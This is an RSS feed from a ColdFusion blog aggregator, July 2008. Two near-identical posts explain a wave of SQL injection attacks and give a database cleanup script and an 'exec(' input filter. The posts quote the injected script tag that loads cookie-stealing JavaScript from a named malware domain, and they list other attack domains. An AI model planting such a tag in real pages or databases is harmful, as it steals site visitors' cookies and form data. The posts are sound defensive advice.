<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:taxo="http://purl.org/rss/1.0/modules/taxonomy/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0">
  <channel>
    <title>coldfusionBloggers.org Feed</title>
    <link>http://www.coldfusionbloggers.org</link>
    <description>Feed of the latest items aggregated.</description>
    <item>
      <title>Annual Business Run</title>
      <link>http://www.garyrgilbert.com/blog/index.cfm/2008/7/24/Annual-Business-Run</link>
      <description>Today is the annual Munich &lt;a href="http://www.b2run.de/cms/_rubric_maxi/index.php?rubric=maxi"&gt;business run&lt;/a&gt;(German).  It's a "just for fun" run with a distance of just 6.75 KM.
				 [More]</description>
      <pubDate>Thu, 24 Jul 2008 11:01:13 GMT</pubDate>
      <author>Gary Gilbert's Technology Blog</author>
      <comments>http://www.garyrgilbert.com/blog</comments>
      <guid isPermaLink="false">20502</guid>
    </item>
    <item>
      <title>SQL Injection Attacks and How to protect yourself</title>
      <link>http://russ.michaels.me.uk/index.cfm/2008/7/24/SQL-Injection-Attacks--How-to-protect_yourself</link>
      <description>&lt;p&gt;This week there has been an increase in SQL Injection attacks, specifically against ColdFusion sites since the hackers have discovered they are also vulnerable, primarily due to most developers not using &amp;lt;cfqueryparam&amp;gt;. You should also be aware that prior to the actual attacks, bots are first running vulnerability tests against sites to find out which language and which database they are using to determine which vulberability they may be vulberable to.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Use of cfqueryparam is pretty much a must have requirement for your queries these days and is generally secure because it results in a prepared statement, which is always binded as a string, which is not vulnerable to sql injection. But, many ColdFusion developers do not seem to use cfqueryparam either due to lack of experience or knowledge in securing their code or lack of knowledge of CFML and this tag. Of course prior to ColdFusion 6 this tag did not exist, so many old legal ColdFusion 5 or older applications are also vulnerable.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;In mid-July,&amp;nbsp;the hacker webzine &lt;a href="http://www.0x000000.com/"&gt;0x000000.com&lt;/a&gt; discussed potential pitfalls, particularly&amp;nbsp;within older versions of ColdFusion, which could lend themselves to potential compromise:&lt;/p&gt; &lt;p&gt;~ Easily discoverable passwords&lt;br /&gt;~ Lack of parameterized query handling&lt;br /&gt;~ Failure to properly escape single quotes&lt;br /&gt;~ Returning error messages that are too verbose&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Like standard SQL injection, ColdFusion attacks have been around for years. What appears to have happened now appears to be the same thing that led to the millions of compromises in the ASP/SQL Server attacks - the use of automated tools.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Following are some of the malware domains involved in the recent ColdFusion attacks:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;mh.976801.cn&lt;/li&gt;&lt;li&gt;1.verynx.cn&lt;/li&gt;&lt;li&gt;mm.ll80.com&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Over at CFMX Hosting we have had quite a lot of customers hit by the verynx.cn attack, which inserts the following into your database tables.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p class="code"&gt;&lt;code style="font-size: 10pt"&gt;&amp;lt;/title&amp;gt;&amp;lt;script src=&amp;quot;&lt;a href="http://1.verynx.cn/w.js"&gt;http://1.verynx.cn/w.js&lt;/a&gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; &lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;The resulting javascript which gets loaded into your pages is used to &amp;quot;phish&amp;quot; your visitors details by copying their cookies and other personal details from form fields. There are various incarnations of this attack now, resulting in different scripts being inserted into your database. If restoring a database backup is not an option for you, then the following little script may help you out.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;  &lt;/p&gt;&lt;p class="code"&gt;&lt;code style="font-size: 10pt"&gt;DECLARE @T varchar(255),@C varchar(4000)&lt;br /&gt;DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=&amp;#39;u&amp;#39; and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)&lt;br /&gt;OPEN Table_Cursor&lt;br /&gt;FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)&lt;br /&gt;BEGIN exec(&amp;#39;update [&amp;#39;+@T+&amp;#39;] set [&amp;#39;+@C+&amp;#39;]=replace([&amp;#39;+@C+&amp;#39;],&amp;#39;&amp;#39;&amp;quot;&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;script src=&amp;quot;http://1.verynx.cn/w.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!--&amp;#39;&amp;#39;,&amp;#39;&amp;#39;&amp;#39;&amp;#39;)&amp;#39;)&lt;br /&gt;FETCH NEXT FROM Table_Cursor INTO @T,@C END&lt;br /&gt;CLOSE Table_Cursor DEALLOCATE Table_Cursor&lt;br /&gt;&lt;/code&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;"&gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;This script will UNDO the changes made by the attack by searching for the afore mentioned string in all columns in all table in your database and removing it. All you need to do is modify the string to match the changes that were made to your database. If your site was attacked multiple times then the string may appear more than one, so you may have to run this script more than once.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Protecting Yourself&amp;nbsp;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;All of the attacks we have seen so far seem to be implemented by using the &amp;quot;Exec()&amp;quot; command, so are only affecting Microsoft SQL Server databases. So a quick and easy way to stop this is to add a URL and FORM scope validation script to your application.cfm or application.cfc to make sure none of these variables contain the Exec() command.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;E.G.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p class="code"&gt;&amp;lt;cfloop collection=&amp;quot;#form#&amp;quot; item=&amp;quot;item&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;lt;cfif form[item] contains &amp;quot;exec(&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .. your decision code here ... &lt;br /&gt;&amp;nbsp;&amp;lt;/cfif&amp;gt;&lt;br /&gt;&amp;lt;/cfloop&amp;gt;&lt;br /&gt;&amp;lt;cfloop collection=&amp;quot;#URL#&amp;quot; item=&amp;quot;item&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;lt;cfif form[item] contains &amp;quot;exec(&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; .. your decision code here ... &lt;br /&gt;&amp;nbsp;&amp;lt;/cfif&amp;gt;&lt;br /&gt;&amp;lt;/cfloop&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;You could of course expand this further to check for any kind of SQL statement in the FORM or URL scope, as really there never should be any SQL in these scopes if your code is well written. Your decision code will determine what happens if a match is found. As it is obviously an attack there is no point in continuing to process the request and strip out the unwanted strings, so you may as well just abort it or generate an error page.&lt;/p&gt;&lt;p&gt;You should of course also be adding cfqueryparam tags to all your queries too, or if you are still running older version of CF then you should be validating the data types in another way, using &amp;lt;cfapram&amp;gt; or val() for example.&lt;/p&gt;&lt;p&gt;The best approach you can take is to lock down your database users with specific permissions so that your web site can only SELECT from the database and cannot update, delete, execute. You should ideally only allow these permissions from your backend admin system. If there are parts of your site that need to update the database, restrict the dbuser or DSN to only be able to update the specific tables/columns they need to. &lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;If you need to find out which pages in your site have been attacked, then you should check your web logs, and search for things like &amp;quot;exec&amp;quot; or &amp;quot;declare&amp;quot; or other sql statements.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <pubDate>Thu, 24 Jul 2008 10:21:28 GMT</pubDate>
      <author>Russ "Snake" Michaels</author>
      <comments>http://russ.michaels.me.uk/</comments>
      <guid isPermaLink="false">20501</guid>
    </item>
    <item>
      <title>Six Months Of Epicenter Consulting</title>
      <link>http://www.bennadel.com/index.cfm?dax=blog:1297.view</link>
      <description>This last week marks the sixth month anniversary of my time at Epicenter Consulting. For those of you who don't know, I left my position as CTO at Nylon Technology back in January to partner with  Clark Valberg  and create  Epicenter Consulting . It was not an easy decision to make; I had been at Nylon for close to 5 years and had seen it grow from a 3 developer shop that he ...&amp;#160;&lt;a href="http://www.bennadel.com/index.cfm?dax=blog:1297.view"&gt;Read More&lt;/a&gt;&amp;#160;&amp;#187;</description>
      <pubDate>Thu, 24 Jul 2008 10:21:18 GMT</pubDate>
      <author>Kinky Solutions</author>
      <comments>http://www.bennadel.com</comments>
      <guid isPermaLink="false">20500</guid>
    </item>
    <item>
      <title>A Simple OO Controller</title>
      <link>http://www.pbell.com/index.cfm/2008/7/24/A-Simple-OO-Controller</link>
      <description>Unless you have a pretty unique use case, if you want a MVC controller, you probably want to check out ColdBox, Model Glue, Mach-II or Fusebox. The community frameworks have put a lot of time into getting the little details right and are well architected, executed and tested. 

However, sometimes it's useful to see much simpler samples to understand how a simple MVC controller might work (without necessarily supporting implicit invocation). Ben &lt;a href="http://www.bennadel.com/blog/1296-OOPhoto-A-Painful-Transition-To-Object-Based-Controllers.htm"&gt;had some problems&lt;/a&gt; with his OO controller, so I thought I'd post a very simple sample of the kind of approach I've been playing with . . .
				 [More]</description>
      <pubDate>Thu, 24 Jul 2008 10:01:01 GMT</pubDate>
      <author>Application Generation</author>
      <comments>http://www.pbell.com/index.cfm</comments>
      <guid isPermaLink="false">20498</guid>
    </item>
    <item>
      <title>Presenting A MAX MegaLab</title>
      <link>http://www.forta.com/blog/index.cfm/2008/7/24/Presenting-A-MAX-MegaLab</link>
      <description>We'll be debuting a new session format at &lt;a href="http://max.adobe.com/na/"&gt;MAX North America&lt;/a&gt; this year, the MegaLab. I'll be presenting one, a getting-started crash-course session on LiveCycle Data Services and BlazeDS entitled &amp;quot;Getting Started with LiveCycle Data Services&amp;quot; on Monday, November 17, 2:00 pm - 3:30 pm. I've &lt;a href="http://max.adobe.com/blog/2008/07/megalabs-coming-to-max-near-you-soon.html"&gt;posted details&lt;/a&gt; on the official MAX blog. This one is expected to sell out pretty quickly, so if you want to take part, sign up now!</description>
      <pubDate>Thu, 24 Jul 2008 10:01:01 GMT</pubDate>
      <author>Ben Forta</author>
      <comments>http://www.forta.com/blog/</comments>
      <guid isPermaLink="false">20499</guid>
    </item>
    <item>
      <title>SQL Injection Attacks and How to protect yourself</title>
      <link>http://russ.michaels.me.uk/index.cfm/2008/7/24/SQL-Injection-Attacks--How-to-undo</link>
      <description>&lt;p&gt;This week there has been an increase in SQL Injection attacks, specifically against ColdFusion sites since the hackers have discovered they are also vulnerable, primarily due to most developers not using &amp;lt;cfqueryparam&amp;gt;. You should also be aware that prior to the actual attacks, bots are first running vulnerability tests against sites to find out which language and which database they are using to determine which vulberability they may be vulberable to.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Use of cfqueryparam is pretty much a must have requirement for your queries these days and is generally secure because it results in a prepared statement, which is always binded as a string, which is not vulnerable to sql injection. But, many ColdFusion developers do not seem to use cfqueryparam either due to lack of experience or knowledge in securing their code or lack of knowledge of CFML and this tag. Of course prior to ColdFusion 6 this tag did not exist, so many old legal ColdFusion 5 or older applications are also vulnerable.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;In mid-July,&amp;nbsp;the hacker webzine &lt;a href="http://www.0x000000.com/"&gt;0x000000.com&lt;/a&gt; discussed potential pitfalls, particularly&amp;nbsp;within older versions of ColdFusion, which could lend themselves to potential compromise:&lt;/p&gt; &lt;p&gt;~ Easily discoverable passwords&lt;br /&gt;~ Lack of parameterized query handling&lt;br /&gt;~ Failure to properly escape single quotes&lt;br /&gt;~ Returning error messages that are too verbose&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Like standard SQL injection, ColdFusion attacks have been around for years. What appears to have happened now appears to be the same thing that led to the millions of compromises in the ASP/SQL Server attacks - the use of automated tools.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Following are some of the malware domains involved in the recent ColdFusion attacks:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;mh.976801.cn&lt;/li&gt;&lt;li&gt;1.verynx.cn&lt;/li&gt;&lt;li&gt;mm.ll80.com&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Over at CFMX Hosting we have had quite a lot of customers hit by the verynx.cn attack, which inserts the following into your database tables.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p class="code"&gt;&lt;code style="font-size: 10pt"&gt;&amp;lt;/title&amp;gt;&amp;lt;script src=&amp;quot;&lt;a href="http://1.verynx.cn/w.js"&gt;http://1.verynx.cn/w.js&lt;/a&gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; &lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;The resulting javascript which gets loaded into your pages is used to &amp;quot;phish&amp;quot; your visitors details by copying their cookies and other personal details from form fields. There are various incarnations of this attack now, resulting in different scripts being inserted into your database. If restoring a database backup is not an option for you, then the following little script may help you out.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;  &lt;/p&gt;&lt;p class="code"&gt;&lt;code style="font-size: 10pt"&gt;DECLARE @T varchar(255),@C varchar(4000)&lt;br /&gt;DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=&amp;#39;u&amp;#39; and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)&lt;br /&gt;OPEN Table_Cursor&lt;br /&gt;FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)&lt;br /&gt;BEGIN exec(&amp;#39;update [&amp;#39;+@T+&amp;#39;] set [&amp;#39;+@C+&amp;#39;]=replace([&amp;#39;+@C+&amp;#39;],&amp;#39;&amp;#39;&amp;quot;&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;script src=&amp;quot;http://1.verynx.cn/w.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!--&amp;#39;&amp;#39;,&amp;#39;&amp;#39;&amp;#39;&amp;#39;)&amp;#39;)&lt;br /&gt;FETCH NEXT FROM Table_Cursor INTO @T,@C END&lt;br /&gt;CLOSE Table_Cursor DEALLOCATE Table_Cursor&lt;br /&gt;&lt;/code&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;"&gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;This script will UNDO the changes made by the attack by searching for the afore mentioned string in all columns in all table in your database and removing it. All you need to do is modify the string to match the changes that were made to your database. If your site was attacked multiple times then the string may appear more than one, so you may have to run this script more than once. &lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;All of the attacks we have seen so far seem to be implemented by using the &amp;quot;Exec()&amp;quot; command, so are only affecting Microsoft SQL Server databases. So a quick and easy way to stop this is to add a URL and FORM scope validation script to your application.cfm or application.cfc to make sure none of these variables contain the Exec() command.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;E.G.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p class="code"&gt;&amp;lt;cfloop collection=&amp;quot;#form#&amp;quot; item=&amp;quot;item&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;lt;cfif form[item] contains &amp;quot;exec(&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; .. your decision code here ... &lt;br /&gt;&amp;nbsp;&amp;lt;/cfif&amp;gt;&lt;br /&gt;&amp;lt;/cfloop&amp;gt;&lt;br /&gt;&amp;lt;cfloop collection=&amp;quot;#URL#&amp;quot; item=&amp;quot;item&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;lt;cfif form[item] contains &amp;quot;exec(&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; .. your decision code here ... &lt;br /&gt;&amp;nbsp;&amp;lt;/cfif&amp;gt;&lt;br /&gt;&amp;lt;/cfloop&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;You could of course expand this further to check for any kind of SQL statement in the FORM or URL scope, as really there never should be any SQL in these scopes if your code is well written. Your decision code will determine what happens if a match is found. As it is obviously an attack there is no point in continuing to process the request and strip out the unwanted strings, so you may as well just abort it or generate an error page.&lt;/p&gt;&lt;p&gt;You should of course also be adding cfqueryparam tags to all your queries, or if you are still running older version of CF then you should be validating the data types in another way, using &amp;lt;cfapram&amp;gt; or val() for example.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <pubDate>Thu, 24 Jul 2008 09:21:31 GMT</pubDate>
      <author>Russ "Snake" Michaels</author>
      <comments>http://russ.michaels.me.uk/</comments>
      <guid isPermaLink="false">20497</guid>
    </item>
    <item>
      <title>Got DNS? If so it looks like you have vulnerabilty too</title>
      <link>http://john.lyons-den.org/index.cfm/2008/7/24/Got-DNS-If-so-it-looks-like-you-have-vulnerabilty-too</link>
      <description>seems a security company uncovered a bug in the way DNS works, similar in effect to poisoning DNS caching.  Link to the article &lt;a href="http://www.pcworld.com/businesscenter/article/148784/with_dns_flaw_now_public_attack_code_imminent.html"&gt;here&lt;/a&gt;</description>
      <pubDate>Thu, 24 Jul 2008 09:21:17 GMT</pubDate>
      <author>john.lyons-den.org</author>
      <comments>http://john.lyons-den.org</comments>
      <guid isPermaLink="false">20496</guid>
    </item>
    <item>
      <title>I Present Fun With ColdSpring to TACFUG Tonight</title>
      <link>http://www.nodans.com/index.cfm/2008/7/24/I-Present-Fun-With-ColdSpring-to-TACFUG-Tonight</link>
      <description>&lt;p&gt;Just a friendly reminder, tonight I am giving a presentation on ColdSpring to the &lt;a href="http://www.tacfug.org" target="_new"&gt;Best Darned ColdFusion User Group&lt;/a&gt; out there!&lt;/p&gt;
&lt;p&gt;We'll cover installation, Dependency Injection, Factories, Configuration, Dynamic Properties, Complex DI Strategies and also look at some practical usage.&lt;/p&gt;
&lt;p&gt;As usual, Pizza and refreshments for all. We're going to have a good time tonight.&lt;p&gt;
&lt;p&gt;More info on the &lt;a href="http://tacfug.org/blog/index.cfm/2008/7/9/Fun-with-ColdSpring--TACFUG-Meeting-on-July-24th" target="_new"&gt;July Meeting Page at TACFUG.org&lt;/a&gt;&lt;/p&gt;</description>
      <pubDate>Thu, 24 Jul 2008 09:21:07 GMT</pubDate>
      <author>Dan Wilsons ColdFusion / Flex Blog</author>
      <comments>http://www.nodans.com</comments>
      <guid isPermaLink="false">20495</guid>
    </item>
    <item>
      <title>Announcing the first ever International Operation cf_SQLprotect</title>
      <link>http://www.codersrevolution.com/index.cfm/2008/7/24/Announcing-the-first-ever-International-Operation-cfSQLprotect</link>
      <description>Hear Ye, Hear Ye!  I hereby declare Friday, July 25th as the first ever International Operation cf_SQLprotect.  In response to the massive amount of SQL injection attacks in the past few weeks I want the ColdFusion community to be doing our darndest to keep our applications safe from harm.  This Friday, I want everyone who has a site big or small, well known or obscure, to join the world and scan their code base for vulnerable queries and fix them.
				 [More]</description>
      <pubDate>Thu, 24 Jul 2008 07:01:05 GMT</pubDate>
      <author>Coder's Revolution</author>
      <comments>http://www.codersrevolution.com/</comments>
      <guid isPermaLink="false">20494</guid>
    </item>
    <item>
      <title>Review: Mockups from Balsamiq</title>
      <link>http://blog.daemon.com.au/index.cfm?objectid=546F69A5-13D4-B1F1-48751ACBB32CB786</link>
      <description>Balsamiq's &amp;quot;Mockups&amp;quot; tool is ideal for throwing together the straw-man, discussion point, come... well mockup, for application development. It's the perfect &amp;quot;electronic napkin&amp;quot;. Quick. Intuitive. And if you're a scribbler, doodler, or back of the envelope kinda guy then this is the perfect app.</description>
      <pubDate>Thu, 24 Jul 2008 06:41:05 GMT</pubDate>
      <author>Daemonite: team daemon blog</author>
      <comments>http://blog.daemon.com.au/</comments>
      <guid isPermaLink="false">20493</guid>
    </item>
  </channel>
</rss>


